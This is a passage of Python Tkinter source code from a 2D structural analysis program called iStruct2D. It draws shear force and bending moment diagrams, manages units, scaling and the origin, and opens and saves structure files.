node[0] == member[0]:\n xi = node[1]\n yi = node[2]\n if node[0] == member[1]:\n xj = node[1]\n yj = node[2]\n self.createSimpleMember(xi,yi,xj,yj, canvas)\n\n # Draw the reaction forces\n if reactionForce != None:\n for data in reactionForce:\n self.createNodalLoad(data[0], data[1],data[2], data[3], False, canvas)\n\n # Draw the axial forces\n if axialLoad != None:\n for data in axialLoad:\n midX, midY = self.calculatePosition((data[0], data[1]), (data[2],data[3]), data[5]/2)\n vector = [[data[2]-midX,],\n [data[3]-midY,]]\n rotation = [[math.cos(math.pi/2), math.sin(math.pi/2)],\n [-math.sin(math.pi/2), math.cos(math.pi/2)]]\n vector = self._matrixCalculator.matrixMultiplication(rotation, vector)\n magnitude = math.sqrt(vector[0][0]**2 + vector[1][0]**2)\n vector = self._matrixCalculator.matrixScale(vector, 1/magnitude)\n vector = self._matrixCalculator.matrixScale(vector, 360)\n positionX = vector[0][0] + midX\n positionY =vector[1][0] + midY\n axialForce = data[4]\n if self._unit[0] == \"kN\":\n axialForce = axialForce/1000\n\n axialForce = round(axialForce, self._unit[2])\n\n axialForceType = \"\"\n if axialForce < 0:\n axialForceType = \" (C)\"\n elif axialForce > 0:\n axialForceType = \" (T)\"\n\n canvas.create_text((positionX/self._scaling + self._origin[0]), (self._origin[1] - positionY/self._scaling), text=str(axialForce)+\" \"+self._unit[0]+axialForceType,\n fill=\"#953BCB\", font=(\"Arial\", 13))\n\n # Draw the shear forces\n if shearForce != None:\n shearMax = 0\n for memberShearData in shearForce:\n for member in self._structure.getMembers():\n if member.getId() == memberShearData[\"id\"]:\n drawingMember = member\n\n for x in range(0, round(drawingMember.getL())+1, 10):\n shear = 0\n if len(memberShearData[\"pointLoad\"]) != 0:\n for pointData in memberShearData[\"pointLoad\"].copy():\n shear = shear + self.singularityFunction(x,pointData[0])*pointData[1]\n if len(memberShearData[\"uniformlyDistributedLoad\"]) != 0:\n for w in memberShearData[\"uniformlyDistributedLoad\"].copy():\n shear = shear + w*x\n if abs(shear) > shearMax:\n shearMax = abs(shear)\n\n lastPoint = None\n shearNum = 0\n for memberShearData in shearForce:\n for member in self._structure.getMembers():\n if member.getId() == memberShearData[\"id\"]:\n drawingMember = member\n if drawingMember.getType() == \"frame\":\n lastPoint = None\n\n x_axis = drawingMember.get_x_Axis()\n y_axis = drawingMember.get_y_Axis()\n\n x_axis = self._matrixCalculator.matrixScale(x_axis, 1/math.sqrt(x_axis[0][0]**2+x_axis[1][0]**2))\n y_axis = self._matrixCalculator.matrixScale(y_axis, 1/math.sqrt(y_axis[0][0]**2+y_axis[1][0]**2))\n\n for nodeData in self._structure.getNodes():\n if nodeData.getID() == drawingMember.geti():\n xi = nodeData.getx()\n yi = nodeData.gety()\n if nodeData.getID() == drawingMember.getj():\n xj = nodeData.getx()\n yj = nodeData.gety()\n\n if self._structure.vectorsBeamCheckSign(x_axis, [[1,],[0,]]) == False and drawingMember.getType() == \"beam\":\n x_axis = self._matrixCalculator.matrixScale(x_axis, 1)\n y_axis = self._matrixCalculator.matrixScale(y_axis, -1)\n lastPoint = None\n\n if lastPoint == None:\n lastPoint = (xi, yi)\n\n for x in range(0, round(drawingMember.getL())+1, 10):\n shearNum = shearNum + 1\n tag = \"shear\" + str(shearNum)\n shear = 0\n if len(memberShearData[\"pointLoad\"]) != 0:\n for pointData in memberShearData[\"pointLoad\"].copy():\n shear = shear + self.singularityFunction(x,pointData[0])*pointData[1]\n if len(memberShearData[\"uniformlyDistributedLoad\"]) != 0:\n for w in memberShearData[\"uniformlyDistributedLoad\"].copy():\n shear = shear + w*x\n\n x_axis_Vector = self._matrixCalculator.matrixScale(x_axis, x)\n y_axis_Vector = self._matrixCalculator.matrixScale(y_axis, 85*self._scaling*shear/shearMax)\n\n axis_Vector = self._matrixCalculator.matrixAddition(x_axis_Vector, \"+\", y_axis_Vector)\n\n shearX = xi + axis_Vector[0][0]\n shearY = yi + axis_Vector[1][0]\n\n shearX = shearX/self._scaling+ self._origin[0]\n shearY = self._origin[1] - shearY/self._scaling\n\n canvas.create_oval([(shearX-1, shearY-1), (shearX +1, shearY +1)], outline=\"blue\", tag=tag)\n canvas.tag_bind(tag, \"\", lambda e, x_value=x, shearValue=shear: self.updateMagnitude(canvas, x_value, shearValue, \"Shear Force\"))\n canvas.tag_bind(tag, \"\", lambda e: self.deleteMagnitude(canvas))\n\n shearLastX = lastPoint[0]/self._scaling+ self._origin[0]\n shearLastY = self._origin[1] - lastPoint[1]/self._scaling\n\n shearMemberX = (shearX-self._origin[0])*self._scaling\n shearMemberY = (self._origin[1] - shearY)*self._scaling\n\n canvas.create_line([(shearX,shearY), (shearLastX, shearLastY)], fill='blue', width=2)\n\n if self._unit[0] == \"kN\":\n shear = shear/1000\n\n shear = round(shear, self._unit[2])\n\n if x == round(drawingMember.getL()):\n jPointX = xj/self._scaling + self._origin[0]\n jPointY = self._origin[1] - yj/self._scaling\n canvas.create_line([(shearX,shearY), (jPointX, jPointY)], fill='blue', width=2)\n\n if x == 0 or x == round(drawingMember.getL()):\n shearMagnitudeVector = [[shearMemberX-y_axis_Vector[0][0]],\n [shearMemberY-y_axis_Vector[1][0]]]\n yshearMagnitudeVector = self._matrixCalculator.matrixScale(y_axis_Vector, 1.2)\n shearMagnitudeX1, shearMagnitudeY1 = (shearMagnitudeVector[0][0]+yshearMagnitudeVector[0][0], shearMagnitudeVector[1][0]+yshearMagnitudeVector[1][0])\n canvas.create_text(shearMagnitudeX1/self._scaling+self._origin[0], self._origin[1]-shearMagnitudeY1/self._scaling, text=str(shear) + \" \" + self._unit[0], fill=\"blue\")\n\n lastPoint = (shearMemberX, shearMemberY, shear)\n\n # Draw the bending moments\n if bendingMoment != None:\n\n bendingMax = 0\n for memberBendingData in bendingMoment:\n for member in self._structure.getMembers():\n if member.getId() == memberBendingData[\"id\"]:\n drawingMember = member\n\n for x in range(0, round(drawingMember.getL())+1, 10):\n bending = 0\n if len(memberBendingData[\"pointLoad\"]) != 0:\n for pointData in memberBendingData[\"pointLoad\"].copy():\n if x <= pointData[0]:\n bending = bending + (-pointData[1])*x*(drawingMember.getL()-pointData[0])/drawingMember.getL()\n elif x > pointData[0]:\n bending = bending + (-pointData[1])*(drawingMember.getL()-x)*pointData[0]/drawingMember.getL()\n if len(memberBendingData[\"uniformlyDistributedLoad\"]) != 0:\n for w in memberBendingData[\"uniformlyDistributedLoad\"].copy():\n bending = bending + (-w/2)*(x**2) + ((w*drawingMember.getL())/2)*x\n if len(memberBendingData[\"pointMoment\"]) != 0:\n for pointData in memberBendingData[\"pointMoment\"].copy():\n if pointData[0] == 0:\n bending = bending + (pointData[1]/drawingMember.getL())*(drawingMember.getL()-x)\n elif pointData[0] == round(drawingMember.getL()):\n bending = bending + (pointData[1]*x)/drawingMember.getL()\n if abs(bending) > bendingMax:\n bendingMax = abs(bending)\n\n lastPoint = None\n bendingNum = 0\n for memberBendingData in bendingMoment:\n for member in self._structure.getMembers():\n if member.getId() == memberBendingData[\"id\"]:\n drawingMember = member\n if drawingMember.getType() == \"frame\":\n lastPoint = None\n\n x_axis = drawingMember.get_x_Axis()\n y_axis = drawingMember.get_y_Axis()\n\n x_axis = self._matrixCalculator.matrixScale(x_axis, 1/math.sqrt(x_axis[0][0]**2+x_axis[1][0]**2))\n y_axis = self._matrixCalculator.matrixScale(y_axis, 1/math.sqrt(y_axis[0][0]**2+y_axis[1][0]**2))\n\n for nodeData in self._structure.getNodes():\n if nodeData.getID() == drawingMember.geti():\n xi = nodeData.getx()\n yi = nodeData.gety()\n if nodeData.getID() == drawingMember.getj():\n xj = nodeData.getx()\n yj = nodeData.gety()\n\n if self._structure.vectorsBeamCheckSign(x_axis, [[1,],[0,]]) == False and drawingMember.getType() == \"beam\":\n x_axis = self._matrixCalculator.matrixScale(x_axis, -1)\n y_axis = self._matrixCalculator.matrixScale(y_axis, -1)\n xi = xj\n yi = yj\n\n momentList = memberBendingData[\"pointMoment\"].copy()\n for momentMagnitude in momentList:\n if momentMagnitude[0] == 0:\n momentMagnitude[0] =round(drawingMember.getL())\n if momentMagnitude[0] == round(drawingMember.getL()):\n momentMagnitude[0] = 0\n momentMagnitude[1] = momentMagnitude[1]*(-1)\n memberBendingData[\"pointMoment\"] = momentList\n\n if lastPoint == None:\n lastPoint = (xi, yi)\n\n for x in range(0, round(drawingMember.getL())+1, 10):\n bendingNum = bendingNum + 1\n tag = \"bending\" + str(bendingNum)\n bending = 0\n if len(memberBendingData[\"pointLoad\"]) != 0:\n for pointData in memberBendingData[\"pointLoad\"].copy():\n if x <= pointData[0]:\n bending = bending + (pointData[1])*x*(drawingMember.getL()-pointData[0])/drawingMember.getL()\n elif x > pointData[0]:\n bending = bending + (pointData[1])*(drawingMember.getL()-x)*pointData[0]/drawingMember.getL()\n\n if len(memberBendingData[\"uniformlyDistributedLoad\"]) != 0:\n for w in memberBendingData[\"uniformlyDistributedLoad\"].copy():\n bending = bending + (-w/2)*(x**2) + ((w*drawingMember.getL())/2)*x\n if len(memberBendingData[\"pointMoment\"]) != 0:\n for pointData in memberBendingData[\"pointMoment\"].copy():\n if pointData[0] == 0:\n bending = bending + (-pointData[1]/drawingMember.getL())*(drawingMember.getL()-x)\n elif pointData[0] == round(drawingMember.getL()):\n bending = bending + (-pointData[1]*x)/drawingMember.getL()\n\n x_axis_Vector = self._matrixCalculator.matrixScale(x_axis, x)\n y_axis_Vector = self._matrixCalculator.matrixScale(y_axis, 85*self._scaling*bending/bendingMax)\n\n axis_Vector = self._matrixCalculator.matrixAddition(x_axis_Vector, \"+\", y_axis_Vector)\n\n bendingX = xi + axis_Vector[0][0]\n bendingY = yi + axis_Vector[1][0]\n\n bendingX = bendingX/self._scaling+ self._origin[0]\n bendingY = self._origin[1] - bendingY/self._scaling\n\n canvas.create_oval([(bendingX-1, bendingY-1), (bendingX +1, bendingY +1)], outline=\"red\", tag=tag)\n canvas.tag_bind(tag, \"\", lambda e, x_value=x, bendingValue=bending: self.updateMagnitude(canvas, x_value, -bendingValue, \"Bending Moment\"))\n canvas.tag_bind(tag, \"\", lambda e: self.deleteMagnitude(canvas))\n\n bendingLastX = lastPoint[0]/self._scaling+ self._origin[0]\n bendingLastY = self._origin[1] - lastPoint[1]/self._scaling\n\n bendingMemberX = (bendingX-self._origin[0])*self._scaling\n bendingMemberY = (self._origin[1] - bendingY)*self._scaling\n\n canvas.create_line([(bendingX,bendingY), (bendingLastX, bendingLastY)], fill='red', width=2)\n\n if self._unit[0] == \"kN\":\n bending = bending/1000\n if self._unit[1] == \"m\":\n bending = bending/1000\n\n bending = round(bending, self._unit[2])\n\n if x == round(drawingMember.getL()):\n jPointX = xj/self._scaling + self._origin[0]\n jPointY = self._origin[1] - yj/self._scaling\n canvas.create_line([(bendingX,bendingY), (jPointX, jPointY)], fill='red', width=2)\n\n if x == 0 or x == round(drawingMember.getL()):\n bendingMagnitudeVector = [[bendingMemberX-y_axis_Vector[0][0]],\n [bendingMemberY-y_axis_Vector[1][0]]]\n yBendingMagnitudeVector = self._matrixCalculator.matrixScale(y_axis_Vector, 1.2)\n bendingMagnitudeX1, bendingMagnitudeY1 = (yBendingMagnitudeVector[0][0]+bendingMagnitudeVector[0][0]\n , yBendingMagnitudeVector[1][0]+bendingMagnitudeVector[1][0])\n canvas.create_text(bendingMagnitudeX1/self._scaling+self._origin[0], self._origin[1]-bendingMagnitudeY1/self._scaling, text=str(-bending) + \" \" + self._unit[0]+self._unit[1], fill=\"red\")\n\n lastPoint = (bendingMemberX, bendingMemberY, bending)\n\n\n def createSimpleNode(self, nodeX, nodeY, canvas):\n \"\"\"\n Generate the node in the canvas\n\n :param nodeX: x coordinate\n :param nodeY: y coordinate\n :param canvas: canvas of iStruct2D\n \"\"\"\n x = nodeX/self._scaling+ self._origin[0]\n y = self._origin[1] - nodeY/self._scaling\n canvas.create_oval([(x-2.5, y-2.5), (x +2.5, y +2.5)], fill='red')\n\n\n def createSimpleMember(self, nodeiX, nodeiY, nodejX, nodejY,canvas):\n \"\"\"\n Generate the member in the canvas\n\n :param nodeiX: x coordinate of starting node\n :param nodeiY: y coordinate of starting node\n :param nodejX: x coordinate of ending node\n :param nodejY: y coordinate of ending node\n :param canvas: canvas of iStruct2D\n \"\"\"\n xi = nodeiX/self._scaling+ self._origin[0]\n yi = self._origin[1] - nodeiY/self._scaling\n\n xj = nodejX/self._scaling+ self._origin[0]\n yj = self._origin[1] - nodejY/self._scaling\n canvas.create_line([(xi, yi), (xj, yj)], fill='red')\n\n\n def showResultLabel(self):\n \"\"\"\n Draw the result label in the canvas\n \"\"\"\n self._deflectedShapeLabel.place(anchor=\"nw\", x=3, rely=0.002)\n self._reactionForceLabel.place(anchor=\"nw\", x=120, rely=0.002)\n self._axialLoadLabel.place(anchor=\"nw\", x=228, rely=0.002)\n self._shearForceLabel.place(anchor=\"nw\", x=309, rely=0.002)\n self._bendingMomentLabel.place(anchor=\"nw\", x=399, rely=0.002)\n\n\n def clickResultLabel(self, e, id):\n \"\"\"\n Handle the event when the specific result is clicked\n\n :param e: event\n :param id: id of the label\n \"\"\"\n self.hideAllCanvas()\n\n if self._selectedLabel == id or id == -1:\n self._selectedLabel = 0\n self._deflectedShapeLabel.config(bg=\"#2B2B2B\")\n self._reactionForceLabel.config(bg=\"#2B2B2B\")\n self._axialLoadLabel.config(bg=\"#2B2B2B\")\n self._shearForceLabel.config(bg=\"#2B2B2B\")\n self._bendingMomentLabel.config(bg=\"#2B2B2B\")\n self._deflectedShapeLabel.config(bd=2)\n self._reactionForceLabel.config(bd=2)\n self._axialLoadLabel.config(bd=2)\n self._shearForceLabel.config(bd=2)\n self._bendingMomentLabel.config(bd=2)\n self.showCanvas(self._canvas)\n\n else:\n self._selectedLabel = id\n self._deflectedShapeLabel.config(bg=\"#2B2B2B\")\n self._reactionForceLabel.config(bg=\"#2B2B2B\")\n self._axialLoadLabel.config(bg=\"#2B2B2B\")\n self._shearForceLabel.config(bg=\"#2B2B2B\")\n self._bendingMomentLabel.config(bg=\"#2B2B2B\")\n self._deflectedShapeLabel.config(bd=2)\n self._reactionForceLabel.config(bd=2)\n self._axialLoadLabel.config(bd=2)\n self._shearForceLabel.config(bd=2)\n self._bendingMomentLabel.config(bd=2)\n self.hideResultLabel()\n\n if id == 1:\n self.showCanvas(self._canvasDeflectedShape)\n self._deflectedShapeLabel.config(bg=\"#4D5254\")\n self._deflectedShapeLabel.config(bd=3)\n elif id == 2:\n self.showCanvas(self._canvasReactionForce)\n self._reactionForceLabel.config(bg=\"#4D5254\")\n self._reactionForceLabel.config(bd=3)\n elif id == 3:\n self.showCanvas(self._canvasAxialLoad)\n self._axialLoadLabel.config(bg=\"#4D5254\")\n self._axialLoadLabel.config(bd=3)\n elif id == 4:\n self.showCanvas(self._canvasShearForce)\n self._shearForceLabel.config(bg=\"#4D5254\")\n self._shearForceLabel.config(bd=3)\n self._labelMessage = self._canvasShearForce.create_text(round(self._windowWidth*0.65)-150, 15, text=\"\", fill=\"#8A2F19\")\n elif id == 5:\n self.showCanvas(self._canvasBendingMoment)\n self._bendingMomentLabel.config(bg=\"#4D5254\")\n self._bendingMomentLabel.config(bd=3)\n self._labelMessage = self._canvasBendingMoment.create_text(round(self._windowWidth*0.65)-150, 15, text=\"\", fill=\"#8A2F19\")\n self.showResultLabel()\n\n\n def new(self):\n \"\"\"\n Reset the environment of iStruct2D\n \"\"\"\n self._moving = False\n self._unit = [\"N\",\"mm\",2]\n self._filename = None\n self._analysisTime = 0\n self._structure = Structure()\n self._structureData = {\"node\":[], \"member\":[], \"nodalLoad\":[], \"memberPointLoad\":[], \"uniformlyDistributedLoad\":[]}\n self._structureDrawingData = {\"node\":[], \"member\":[]}\n self._canvas.delete(\"all\")\n self.clearAllCanvas()\n self._master.title(\"iStruct2D\")\n self.clearAllData()\n self.drawGridLine(self._canvas)\n self.drawGridLine(self._canvasDeflectedShape)\n self.drawGridLine(self._canvasReactionForce)\n self.drawGridLine(self._canvasAxialLoad)\n self.drawGridLine(self._canvasShearForce)\n self.drawGridLine(self._canvasBendingMoment)\n self.displayData(\"iStruct2D is ready\\n\")\n self.displayData(\"Tips:\\n\" + \" Change the unit before adding any element\\n\" +\n \" Change the scaling before adding any element\\n\" +\n \" Hold and drag to change the Origin position\\n\")\n self._canvas.create_line([(30, 860), (100, 860)], width=2, fill=\"#716FB0\")\n self._canvas.create_line([(100, 860), (95, 855)], width=2, fill=\"#716FB0\")\n self._canvas.create_line([(100, 860), (95, 865)], width=2, fill=\"#716FB0\")\n self._canvas.create_line([(30, 860), (30, 790)], width=2, fill=\"#716FB0\")\n self._canvas.create_line([(30, 790), (35, 795)], width=2, fill=\"#716FB0\")\n self._canvas.create_line([(30, 790), (25, 795)], width=2, fill=\"#716FB0\")\n\n self._canvas.create_text(105, 860, text=\"x\", fill=\"#716FB0\", width=2)\n self._canvas.create_text(30, 780, text=\"y\", fill=\"#716FB0\", width=2)\n\n self._label = self._canvas.create_text(round(self._windowWidth*0.65)-150, 15, text=\"number of Node: 0 number of Member: 0\", fill=\"#8A2F19\")\n\n # show origin (0,0) --> (100, 800)\n self._origin = [100, 800]\n self._originLine1 = self._canvas.create_line([(self._origin[0]+5, self._origin[1]-5), (self._origin[0]-5, self._origin[1]+5)], width=1, fill=\"#8A2F19\", tag=\"originLine1\")\n self._originLine2 = self._canvas.create_line([(self._origin[0]-5, self._origin[1]-5), (self._origin[0]+5, self._origin[1]+5)], width=1, fill=\"#8A2F19\", tag=\"originLine2\")\n self._originPoint = self._canvas.create_oval([(self._origin[0]-2, self._origin[1]-2), (self._origin[0]+2, self._origin[1]+2)], width=1, fill=\"#8A2F19\", tag=\"originPoint\")\n\n self._originText = self._canvas.create_text(self._origin[0]-25, self._origin[1]+20, text=\"Origin\", fill=\"#8A2F19\", tag=\"originText\")\n\n self._canvas.tag_bind(\"originLine1\", \"\", self.moveOrigin1)\n self._canvas.tag_bind(\"originLine2\", \"\", self.moveOrigin1)\n self._canvas.tag_bind(\"originPoint\", \"\", self.moveOrigin1)\n\n self.hideAllCanvas()\n self.clickResultLabel(None, -1)\n\n self._unitButtonFBG = self._canvas.create_rectangle(round(self._windowWidth*0.65)-243, round(self._windowHeight*0.82)*0.959,\n round(self._windowWidth*0.65)-243+70, round(self._windowHeight*0.82)*0.959+28, fill=\"#2B2B2B\", tag=\"unitF\")\n\n self._unitButtonFText = self._canvas.create_text(round(self._windowWidth*0.65)-208, round(self._windowHeight*0.82)*0.975,\n text=\"N kN\", fill=\"#BBBBBB\", font=(\"Arial\", 18), tag=\"unitF\")\n\n self._unitButtonMBG = self._canvas.create_rectangle(round(self._windowWidth*0.65)-165, round(self._windowHeight*0.82)*0.959,\n round(self._windowWidth*0.65)-165+75, round(self._windowHeight*0.82)*0.959+28, fill=\"#2B2B2B\", tag=\"unitM\")\n\n self._unitButtonFText = self._canvas.create_text(round(self._windowWidth*0.65)-128, round(self._windowHeight*0.82)*0.975,\n text=\"mm m\", fill=\"#BBBBBB\", font=(\"Arial\", 18), tag=\"unitM\")\n\n self._unitButtonCover1 = self._canvas.create_rectangle(round(self._windowWidth*0.65)-209, round(self._windowHeight*0.82)*0.96455,\n round(self._windowWidth*0.65)-209+35, round(self._windowHeight*0.82)*0.96455+18, fill=\"#5E6468\", width=0, tag=\"unitF\")\n self._unitButtonCover2 = self._canvas.create_rectangle(round(self._windowWidth*0.65)-125, round(self._windowHeight*0.82)*0.96455,\n round(self._windowWidth*0.65)-125+35, round(self._windowHeight*0.82)*0.96455+18, fill=\"#5E6468\", width=0, tag=\"unitM\")\n self._canvas.tag_bind(\"unitF\", \"\", lambda e: self.unitChange(\"forceUnit\"))\n self._canvas.tag_bind(\"unitM\", \"\", lambda e: self.unitChange(\"distanceUnit\"))\n self.updateUnit()\n\n self._movingScalingBar = False\n self._scalingLine = self._canvas.create_line([(680, round(self._windowHeight*0.82)*0.985), (880, round(self._windowHeight*0.82)*0.985)], width=2, fill=\"#2B2B2B\", tag=\"scalingLineButtonLine\")\n self._scalingLineButton = self._canvas.create_rectangle(680, round(self._windowHeight*0.82)*0.985-5,\n 680+5, round(self._windowHeight*0.82)*0.985+5, fill=\"#2B2B2B\", tag=\"scalingLineButton\")\n self._canvas.tag_bind(\"scalingLineButton\", \"\", lambda e: self.moveScalingBar())\n self._canvas.tag_bind(\"scalingLineButtonLine\", \"\", lambda e: self.moveScalingBar())\n\n self._scalingSizeLine1 = self._canvas.create_line([(770, round(self._windowHeight*0.82)*0.97), (770 + 100, round(self._windowHeight*0.82)*0.97)], width=2, fill=\"#5D6468\")\n self._scalingSizeLine2 = self._canvas.create_line([(770, round(self._windowHeight*0.82)*0.97), (770, round(self._windowHeight*0.82)*0.97 -8)], width=2, fill=\"#5D6468\")\n self._scalingSizeLine3 = self._canvas.create_line([(770 + 100, round(self._windowHeight*0.82)*0.97), (770 + 100, round(self._windowHeight*0.82)*0.97 -8)], width=2, fill=\"#5D6468\")\n self._scaling = 30\n self._scalingText = self._canvas.create_text(717, round(self._windowHeight*0.82)*0.965,\n text=\"1000 [mm] / 1 [m]\", fill=\"#5D6468\", font=(\"Arial\", 12))\n self.scalingBarUpdate2()\n self._master.update()\n\n\n def scalingBarUpdate(self, e):\n \"\"\"\n Update the value of the scaling bar\n :param e: event\n \"\"\"\n x = e.x\n if e.x < 680:\n x = 680\n if e.x > 875:\n x = 874\n scalingLength = x*(85/194) + (15-680*85/194)\n self._scaling = 1000/scalingLength\n self.scalingBarUpdate2(x=x)\n\n\n def scalingBarUpdate2(self, x=None):\n \"\"\"\n Draw the scaling bar\n\n :param x: position of the pin on the scaling bar\n \"\"\"\n self._canvas.delete(self._scalingLineButton)\n self._canvas.delete(self._scalingSizeLine1)\n self._canvas.delete(self._scalingSizeLine2)\n self._canvas.delete(self._scalingSizeLine3)\n\n if x == None:\n x = (1000/self._scaling - (15-680*85/194))*(194/85)\n\n self._scalingLineButton = self._canvas.create_rectangle(x, round(self._windowHeight*0.82)*0.985-5,\n x+5, round(self._windowHeight*0.82)*0.985+5, fill=\"#2B2B2B\", tag=\"scalingLineButton\")\n\n self._scalingSizeLine1 = self._canvas.create_line([(770, round(self._windowHeight*0.82)*0.97), (770 + 1000/self._scaling, round(self._windowHeight*0.82)*0.97)], width=2, fill=\"#5D6468\")\n self._scalingSizeLine2 = self._canvas.create_line([(770, round(self._windowHeight*0.82)*0.97), (770, round(self._windowHeight*0.82)*0.97 -8)], width=2, fill=\"#5D6468\")\n self._scalingSizeLine3 = self._canvas.create_line([(770 + 1000/self._scaling, round(self._windowHeight*0.82)*0.97), (770 + 1000/self._scaling, round(self._windowHeight*0.82)*0.97 -8)], width=2, fill=\"#5D6468\")\n\n\n def moveScalingBar(self):\n \"\"\"\n Update the scaling bar status for moving\n \"\"\"\n if self._structure.getNodeNum() == 0:\n if self._movingScalingBar:\n self._movingScalingBar = False\n elif self._movingScalingBar == False:\n self._movingScalingBar = True\n\n if self._movingScalingBar:\n self._canvas.bind(\"\", self.scalingBarUpdate)\n #self._canvas.bind(\"\", lambda e: self.moveScalingBar())\n else:\n self._canvas.unbind(\"\")\n #self._canvas.unbind(\"\")\n else:\n self.displayData(\"Error Message:\\n\" + \"Scaling cannot be changed after added any element\\n\")\n\n\n def unitChange(self, type):\n \"\"\"\n Set the unit of the measurement\n\n :param type: type of the unit that want to change\n \"\"\"\n if self._structure.getNodeNum() == 0:\n if type == \"forceUnit\":\n if self._unit[0] == \"kN\":\n self._unit[0] = \"N\"\n elif self._unit[0] == \"N\":\n self._unit[0] = \"kN\"\n\n elif type == \"distanceUnit\":\n if self._unit[1] == \"m\":\n self._unit[1] = \"mm\"\n elif self._unit[1] == \"mm\":\n self._unit[1] = \"m\"\n\n self.updateUnit()\n\n else:\n self.displayData(\"Error Message:\\n\" + \"Unit cannot be changed after added any element\\n\")\n\n\n def updateUnit(self):\n \"\"\"\n Update the value of the unit\n \"\"\"\n self._canvas.delete(self._unitButtonCover1)\n self._canvas.delete(self._unitButtonCover2)\n\n if self._unit[0] == \"kN\":\n distance1 = 237\n elif self._unit[0] == \"N\":\n distance1 = 209\n\n if self._unit[1] == \"m\":\n distance2 = 159\n elif self._unit[1] == \"mm\":\n distance2 = 125\n\n self._unitButtonCover1 = self._canvas.create_rectangle(round(self._windowWidth*0.65)-distance1, round(self._windowHeight*0.82)*0.96455,\n round(self._windowWidth*0.65)-distance1+30, round(self._windowHeight*0.82)*0.96455+18, fill=\"#5E6468\", width=0, tag=\"unitF\")\n self._unitButtonCover2 = self._canvas.create_rectangle(round(self._windowWidth*0.65)-distance2, round(self._windowHeight*0.82)*0.96455,\n round(self._windowWidth*0.65)-distance2+30, round(self._windowHeight*0.82)*0.96455+18, fill=\"#5E6468\", width=0, tag=\"unitM\")\n\n\n def moveOrigin1(self, e):\n \"\"\"\n Update the status of the origin for moving\n\n :param e: event of the action\n \"\"\"\n if self._structure.getNodeNum() == 0:\n if self._moving:\n self._moving = False\n elif self._moving == False:\n self._moving = True\n\n if self._moving:\n self._canvas.bind(\"\", self.moveOrigin2)\n else:\n self._canvas.unbind(\"\")\n else:\n self.displayData(\"Error Message:\\n\" + \"Origin cannot be changed after added any element\\n\")\n\n\n def moveOrigin2(self, e):\n \"\"\"\n Update the origin coordinate\n\n :param e: event of the action\n \"\"\"\n self._origin = [e.x, e.y]\n self.updateOrigin()\n\n\n def updateOrigin(self):\n \"\"\"\n Draw the origin point\n \"\"\"\n self._canvas.delete(self._originLine1)\n self._canvas.delete(self._originLine2)\n self._canvas.delete(self._originPoint)\n self._canvas.delete(self._originText)\n\n self._originLine1 = self._canvas.create_line([(self._origin[0]+5, self._origin[1]-5), (self._origin[0]-5, self._origin[1]+5)], width=1, fill=\"#8A2F19\", tag=\"originLine1\")\n self._originLine2 = self._canvas.create_line([(self._origin[0]-5, self._origin[1]-5), (self._origin[0]+5, self._origin[1]+5)], width=1, fill=\"#8A2F19\", tag=\"originLine2\")\n self._originPoint = self._canvas.create_oval([(self._origin[0]-2, self._origin[1]-2), (self._origin[0]+2, self._origin[1]+2)], width=1, fill=\"#8A2F19\", tag=\"originPoint\")\n\n self._originText = self._canvas.create_text(self._origin[0]-25, self._origin[1]+20, text=\"Origin\", fill=\"#8A2F19\", tag=\"originText\")\n\n\n def drawGridLine(self, canvas):\n \"\"\"\n Draw the gridline of the canvas\n\n :param canvas: canvas of iStruct2D\n \"\"\"\n for x in range(0, round(self._windowWidth*0.65), 30):\n canvas.create_line([(x, 0), (x, self._windowHeight*0.82)], width=1, fill=\"#CBD1D9\")\n for y in range(0, round(self._windowHeight*0.82), 30):\n canvas.create_line([(0, y), (self._windowWidth*0.65, y)], width=1, fill=\"#CBD1D9\")\n\n\n def hideResultLabel(self):\n \"\"\"\n Hide the result label\n \"\"\"\n self._deflectedShapeLabel.place_forget()\n self._reactionForceLabel.place_forget()\n self._axialLoadLabel.place_forget()\n self._shearForceLabel.place_forget()\n self._bendingMomentLabel.place_forget()\n\n\n def hideAllCanvas(self):\n \"\"\"\n Hide all the canvas from iStruct2D\n \"\"\"\n self._canvas.pack_forget()\n self._canvasDeflectedShape.pack_forget()\n self._canvasReactionForce.pack_forget()\n self._canvasAxialLoad.pack_forget()\n self._canvasShearForce.pack_forget()\n self._canvasBendingMoment.pack_forget()\n\n\n def showCanvas(self, canvas):\n \"\"\"\n Display the specific canvas\n\n :param canvas: canvas that want to be displayed\n \"\"\"\n self._canvasDisplay.pack_forget()\n canvas.pack(side=tk.LEFT)\n self._canvasDisplay.pack(side=tk.LEFT, fill=tk.BOTH)\n\n\n def open(self):\n \"\"\"\n Open and read the structure from .txt file\n \"\"\"\n filename = filedialog.askopenfilename(title=\"Choosing File\", initialdir=(\"exampleStructures/\"))\n if filename:\n self.new()\n self._filename = filename.split(\"/\")[-1].split(\".\")[0]\n self._master.title(\"iStruct2D: \"+ self._filename)\n fd = open(\"exampleStructures/\" + self._filename + \".txt\", \"r\")\n\n line = fd.readline().strip(\"\\n\")\n origin = line.split(\";\")\n self._origin = [float(origin[0]), float(origin[1])]\n self.updateOrigin()\n\n line = fd.readline().strip(\"\\n\")\n unit = line.split(\";\")\n self._unit = [unit[0], unit[1], int(unit[2])]\n self.updateUnit()\n\n line = fd.readline().strip(\"\\n\")\n self._scaling = float(line)\n self.scalingBarUpdate2()\n\n line = fd.readline().strip(\"\\n\")\n\n type = None\n\n while line != \"\":\n if \"#\" in line:\n type = line.strip(\"#\")\n\n else:\n if type == \"node\":\n data = line.split(\";\")\n self.createNode(data[0], data[1],data[2], data[3], data[4], True)\n elif type == \"member\":\n data = line.split(\";\")\n self.createMember(data[0], data[1],data[2], data[3], data[4], data[5], data[6], True)\n elif type == \"nodalLoad\":\n data = line.split(\";\")\n self.createNodalLoad(data[0], data[1],data[2], data[3], True)\n elif type == \"memberPointLoad\":\n data = line.split(\";\")\n self.createMemberPointLoad(data[0], data[1],data[2], data[3])\n elif type == \"uniformlyDistributedLoad\":\n data = line.split(\";\")\n self.createMemberUniformlyDistributedLoad(data[0], data[1])\n\n line = fd.readline().strip(\"\\n\")\n fd.close()\n self.displayData(\"Successfully open the structure\\n\" +\n \" Filename: \" + self._filename + \".txt\\n\")\n\n\n def save(self):\n \"\"\"\n Save the structure into .txt file\n \"\"\"\n if self._filename is None:\n filename = simpledialog.askstring(\"Saving the structure\", \"Structure name:\")\n if filename:\n self._filename = filename\n\n if self._filename:\n self._master.title(\"iStruct2D: \"+ self._filename)\n fd = open(\"exampleStructures/\" + self._filename + \".txt\", \"w\")\n\n result = \"\" + str(self._origin[0]) + \";\" + str(self._origin[1]) + \"\\n\"\n result = result + self._unit[0] + \";\" + self._unit[1] + \";\" + str(self._unit[2]) + 